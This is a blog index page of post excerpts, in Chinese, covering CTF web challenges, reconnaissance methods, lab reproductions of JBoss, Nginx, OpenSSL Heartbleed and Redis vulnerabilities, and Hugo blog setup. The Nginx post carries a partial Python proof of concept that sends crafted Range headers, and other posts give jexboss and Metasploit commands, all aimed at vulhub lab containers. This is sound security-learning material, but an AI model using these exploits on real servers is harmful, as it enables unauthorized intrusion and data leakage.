从0到1-CTFer成长之路

平台地址:N1BOOK平台-Nu1L Team 第一章 Web入门 信息搜集 常见搜集 Des:一共3部分flag。 环境搭建 docker-compose.yml: version: '3.2' services: web: image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-backk:latest ports: - 80:80 启动: docker-compose up -d 解题过程 既然说到了敏感文件,先试试robots.txt文件是否存在: User-agent: * Disallow: /flag1_is_her3_fun.txt 访问flag1_is_her3_fun.txt,获得第一部分flag。 剩下的工作就是扫描后台了,分别访问index.php~和.index.php.swp。 粗心的小李 Des:看看能不能找到信息吧? 环境搭建 docker-compose.yml: version: '3.2' services: web: image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-git:latest ports: - 80:80 启动: docker-compose up -d 解题过程 Git泄露,找一下利用工具:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com) 使用后会在当前目录生成一个以网站命名的文件夹,cd进去,发现有一个index.html文件。flag就在其中。 SQL注入 SQL注入-1 Des:N/A。 环境搭建 docker-compose.yml: version: '3.2' services: web: image: registry....

July 3, 2021 · 3 min · DaChui

自定义GitHub个人资料

概述 想自定义一下GitHub的个人资料自述文件,遂有本文。 官方文档:管理个人资料自述文件 - GitHub Docs 关于自述文件:关于自述文件 - GitHub Docs 基本要求 创建一个与用户名相同的公开仓库 仓库根目录包含README.md文件 README.md文件不能为空 实现步骤 1.添加个人资料自述文件 1.新建仓库 在任意页面点击右上角的+号创建一个与自己用户名相同的仓库。当输入自己的用户名时,会出现一个小彩蛋。 2.添加仓库说明(可选) 3.设置仓库为公共属性 4.使用自述文件初始化仓库 5.创建仓库并编辑README文档 生成的自述文件已由模板预先填充,也可自定义表情、符号。 表情符号清单:🎁 Emoji cheat sheet for GitHub, Basecamp, Slack & more (webfx.com) 在想要换行的文本前后加上<br>和</br>即可,如: <br>This is test</br> 2.删除个人资料自述文件 以下任一满足,个人资料自述文件就将会被删除: 自述文件为空或不存在 仓库为私有仓库 仓库名与用户名不匹配 本文链接:自定义GitHub个人资料 | Atmet (oopsdc.tk) 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

July 1, 2021 · 1 min · DaChui

信息收集

信息收集概念 进行渗透测试之前,最重要的一步就是信息收集。 信息收集的主要内容:收集服务器配置信息、网站敏感信息等,包括域名、子域名信息、目标网站系统CMS指纹、目标网站真实IP、开放端口等。 1、收集域名信息 知道目标域名后,第一件事就是获取域名注册信息,包括域名DNS服务器信息及注册人联系信息等。 Whois命令查询 概念:Whois是一个标准互联网协议,可用于收集网络注册信息,如注册域名、IP等。 原理:Whois就是一个用于查询域名是否被注册及注册域名详细信息的数据库。 作用:获得注册人姓名和邮箱,通过社工进一步获取其它信息。 用法: whois baidu.com 在线Whois查询网站: 站长工具_whois查询工具_爱站网 (aizhan.com) 域名Whois查询 - 站长之家 (chinaz.com) VirusTotal 2、查询备案信息 概念:网站备案是工具国家法律法规规定,需要网站所有者向国家有关部门申请的备案。这是国家信息产业部对网站的一种管理。 注意:若网站搭建在其他国家,则不需进行备案。 在线备案信息查询网站: 天眼查-商业查询平台_企业信息查询_公司查询_工商查询_企业信用信息系统 (tianyancha.com) 3、收集敏感信息 搜索关键字 通过搜索引擎构造特殊关键字语法来搜索互联网上的相关敏感信息。还可用其来收集数据库文件、SQL注入、配置信息、源码泄露、未授权访问和robots.txt等敏感信息。 常用搜索语法(各搜索引擎大同小异): 语法 作用 Site 指定域名 Inurl URL存在关键字的网页 Intext 网页正文中的关键字 Filetype 指定文件类型 Intitle 网页标题中的关键字 link link:baidu.com 表示返回所有和baidu.com做了链接的URL Info 查找指定站点的基本信息 cache 搜索Google中关于某些内容的缓存 一般可以把语法结合使用以获得更准确的信息。...

June 25, 2021 · 2 min · DaChui

JBoss漏洞复现

JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504 漏洞描述 Red Hat JBoss Application Server是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JBossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 影响版本 JBoss AS 4.x及之前。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/jboss/CVE-2017-7504 docker-compose up -d Jexboss工具:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com) git clone https://github.com/joaomatosf/jexboss.git python3 jexboss.py -host http://<ip>:8080 成功利用漏洞执行命令。 本文链接:JBoss漏洞复现 | Atmet (oopsdc.tk) 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

June 17, 2021 · 1 min · DaChui

Nginx漏洞复现

Nginx 越界读取缓存漏洞 CVE-2017-7529 漏洞描述 Nginx在反向代理站点的时候,通常会缓存一些文件,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括文件头+HTTP返回包头+HTTP返回包体。如果二次请求命中该缓存文件,Nginx会直接将该文件中的HTTP返回包体返回给用户。 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能读取到缓存文件中位于HTTP返回包体前的文件头、HTTP返回包头等内容。 影响版本 Nginx 0.5.6 ~ 1.13.2 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/nginx/CVE-2017-7529 docker-compose up -d 访问:http://<ip>:8080正常即可。 POC已经在当前目录中给出来,文件名poc.py: #!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%surl" % (sys.argv[0])) print("eg: python %shttp://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests....

June 17, 2021 · 1 min · DaChui

服务器应用漏洞

OpenSSL OpenSSL 心脏滴血漏洞 CVE-2014-0160 漏洞描述 2014年4月7日,OpenSSL发布安全公告,在OpenSSL 1.0.1 ~ 1.0.1f Beta1版本中存在漏洞,漏洞名为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。 影响版本 OpenSSL 1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/openssl/heartbleed docker-compose up -d 使用msf对目标进行攻击: msfconsole set RHOST <ip> set verbose true run Redis Redis 主从复制RCE 漏洞描述 在2019年7月7日结束的WCTF2019 Final上,LC/BC成员Pavel Toporkov在分享会上介绍了一种关于Redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。 Pavel Toporkov的分享: 15-redis-post-exploitation.pdf (zeronights.ru) 影响版本 Redis <= 5.0.5 复现思路 漏洞复现 环境搭建: docker pull a1143535418/redis5.0 docker run -p 6379:6379 -d a1143535418/redis5.0 redis-server 利用脚本: n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)...

June 17, 2021 · 1 min · DaChui

博客搭建

博客搭建 hugo Hugo官方网站:https://gohugo.io 本文以PaperMod主题为例,官方文档:Installation · adityatelange/hugo-PaperMod Wiki (github.com) 需求准备 Hugo:Releases · gohugoio/hugo (github.com) 安装步骤 1.解压压缩包 2.配置环境变量 D:\Env\hugo_0.83.1 3.初始化博客 官方文档推荐我们使用易读性更高的yml格式初始化博客。 hugo new site <name of site> -f yml 4.指定主题 在config.yml文件中设置主题。 theme: PaperMod 5.本地启动 先在本地看看网站跑起来的效果 hugo server 6.创建GitHub仓库 具体操作详见之后的hexo主题教学。 7.修改baseUrl 将config.yml文件中的baseUrl修改为刚刚创建的仓库。 baseURL: "https://<username>.github.io/" 8.生成public文件夹 public中包含所有静态页面的内容,我们需要生成这个文件夹并上传到远程仓库中,完成博客部署。 hugo 9.push到远程仓库 # 配置代理 git config --global http.proxy socks5://127.0.0.1:<port> git config --global https.proxy socks5://127.0.0.1:<port> # 更改默认分支 git push -u origin main # push文件 cd public git init git add ....

June 12, 2021 · 4 min · DaChui